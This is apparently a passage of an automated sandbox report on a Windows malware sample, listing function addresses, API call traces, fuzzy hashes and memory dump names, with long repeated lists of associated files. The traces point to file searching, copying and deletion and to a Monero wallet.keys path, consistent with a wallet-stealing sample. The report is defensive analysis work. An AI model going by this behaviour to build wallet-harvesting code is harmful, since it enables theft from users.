Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: b715e6d09055b21e35eb910fd15c61c4d515277f735ea1795d41c7a9ebace121
Instruction ID: 8dea6dc65c7c23c83ccbc7b26b318f1e7945411d6da5a29ef3b9b0c42cb44c8b
Opcode Fuzzy Hash: b715e6d09055b21e35eb910fd15c61c4d515277f735ea1795d41c7a9ebace121
Instruction Fuzzy Hash: DED05E7890120CDBCB00DFE0994AAEDBB7DAB0D312F001655ED0562240EB306455CB65

Function 0012B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00129E60: LocalAlloc.KERNEL32(00000040,?), ref: 00129EFE

lstrlen.KERNEL32(00000000), ref: 0012B820
lstrlen.KERNEL32(00000000), ref: 0012B834

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID:
API String ID: 3073930149-0
Opcode ID: 0d28e918b9c6f0e5b21665bad154073fc2e8ac7da7038fc70856acbc27a472a3
Instruction ID: 14ffe3b1654ff67cfd0faa0c651e0bc5061e7e2387c2347d02cd19f2e1fcf71f
Opcode Fuzzy Hash: 0d28e918b9c6f0e5b21665bad154073fc2e8ac7da7038fc70856acbc27a472a3
Instruction Fuzzy Hash: 5AE1AE729201189BCB15FBA0DC96EEE773CBF64300F804559F547660A2EF756B48CBA2

Function 0012AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

lstrlen.KERNEL32(00000000), ref: 0012AFEA
lstrlen.KERNEL32(00000000), ref: 0012AFFE

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 43a55cbc8794746738a2608245168d7a1bbca43a45afb0712ff03f8608521a41
Instruction ID: 7ccb724ee2de26afbe160c55bebb2e98bf9655dfc47e6c26681b82c7a1214381
Opcode Fuzzy Hash: 43a55cbc8794746738a2608245168d7a1bbca43a45afb0712ff03f8608521a41
Instruction Fuzzy Hash: 0A91F0729101189BCF05FBA0DC96EEE733CBF64300F904569F547A60A1EF746A48CBA2

Function 0012B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

lstrlen.KERNEL32(00000000), ref: 0012B2AE
lstrlen.KERNEL32(00000000), ref: 0012B2C2

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 128a5ac1bf7377f1dd94f38260f5382bd9d60d370f0cbb1c44a02eb5e2333ab0
Instruction ID: 9a865620a15cf4e487f3c7c502aa244b4298ff52970d24cc89e92ae98af9ef1b
Opcode Fuzzy Hash: 128a5ac1bf7377f1dd94f38260f5382bd9d60d370f0cbb1c44a02eb5e2333ab0
Instruction Fuzzy Hash: F671EC729201189BCB05FBA4DCA6DFE777CBF65300F804529F547A6091EF746A48CBA2

Function 00134690 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00138880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001388AB

lstrcat.KERNEL32(?,00000000), ref: 001346CA
lstrcat.KERNEL32(?,011FD6D0), ref: 001346E8

Part of subcall function 001343F0: wsprintfA.USER32 ref: 0013440C
Part of subcall function 001343F0: FindFirstFileA.KERNEL32(?,?), ref: 00134423

Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,00140FAC), ref: 00134451
Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,00140FB0), ref: 00134467
Part of subcall function 001343F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0013465D
Part of subcall function 001343F0: FindClose.KERNEL32(000000FF), ref: 00134672

Part of subcall function 001343F0: wsprintfA.USER32 ref: 00134490
Part of subcall function 001343F0: StrCmpCA.SHLWAPI(?,001408BA), ref: 001344A5
Part of subcall function 001343F0: wsprintfA.USER32 ref: 001344C2
Part of subcall function 001343F0: PathMatchSpecA.SHLWAPI(?,?), ref: 001344FE
Part of subcall function 001343F0: lstrcat.KERNEL32(?,011FEA18), ref: 0013452A
Part of subcall function 001343F0: lstrcat.KERNEL32(?,00140FC8), ref: 0013453C
Part of subcall function 001343F0: lstrcat.KERNEL32(?,?), ref: 00134550
Part of subcall function 001343F0: lstrcat.KERNEL32(?,00140FCC), ref: 00134562
Part of subcall function 001343F0: lstrcat.KERNEL32(?,?), ref: 00134576
Part of subcall function 001343F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0013458C
Part of subcall function 001343F0: DeleteFileA.KERNEL32(?), ref: 00134611

Part of subcall function 001343F0: wsprintfA.USER32 ref: 001344E7

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: f7e2fee5d48c6d54702ba065ba8e5eba68b841cd184876fe2bf76ae7418bd455
Instruction ID: c43c288c53fbf969d0671c647f5ecbdd97f70e1f9dbabd326c996d3f5865f595
Opcode Fuzzy Hash: f7e2fee5d48c6d54702ba065ba8e5eba68b841cd184876fe2bf76ae7418bd455
Instruction Fuzzy Hash: 7E41B8BA90010467C755F764FC42EED333DEBAA300F408548B6899B191EF717A9C8BE1

Function 001266B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00126756
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 001267A3

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 608fc384d20b292bd0d470515faf0c437a8d1e96c4eef8d1431291e2391970fd
Instruction ID: ca498893120ad2287d39cdb8d9f719b4555f68f839ec4e37e8c0c9246d8ec716
Opcode Fuzzy Hash: 608fc384d20b292bd0d470515faf0c437a8d1e96c4eef8d1431291e2391970fd
Instruction Fuzzy Hash: 7341DD74A00219EFCB44CF58D494BADBBB1FF44314F2486A9E9499B385D731EA91CF84

Function 00134B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00138880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001388AB

lstrcat.KERNEL32(?,00000000), ref: 00134B6A
lstrcat.KERNEL32(?,011FE3D8), ref: 00134B88

Part of subcall function 001343F0: wsprintfA.USER32 ref: 0013440C
Part of subcall function 001343F0: FindFirstFileA.KERNEL32(?,?), ref: 00134423

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 8c6c27dd5ff6a9aa1ea02ef3809599f3ff920b9beb94ba00a2de3d10ff16418f
Instruction ID: 0d762ed668abdb181c4ed7c0594aa67ae2c681a165bb9942b11ac2b9dfffcb10
Opcode Fuzzy Hash: 8c6c27dd5ff6a9aa1ea02ef3809599f3ff920b9beb94ba00a2de3d10ff16418f
Instruction Fuzzy Hash: 6301967A51021867CB54FB60EC46EEA773CAB75300F404584B68997191EFB4BAC88BE1

Function 001210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001210F7

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 61d8f9b634ccdb11fe6df9f67a2120e028873c95d1be1612ed803895fa77897b
Instruction ID: 19a43563331acd4acb2b544ed0ba3ca8742337e26f2f62cf33f797ccba900c20
Opcode Fuzzy Hash: 61d8f9b634ccdb11fe6df9f67a2120e028873c95d1be1612ed803895fa77897b
Instruction Fuzzy Hash: F9F0E271641318BBE714DBA4AC49FAAB7DCA715B04F300448F500E7280DA71AE008B64

Function 00138830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00121B94,?,?,0014554C,?,?,00140E07), ref: 0013883F

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
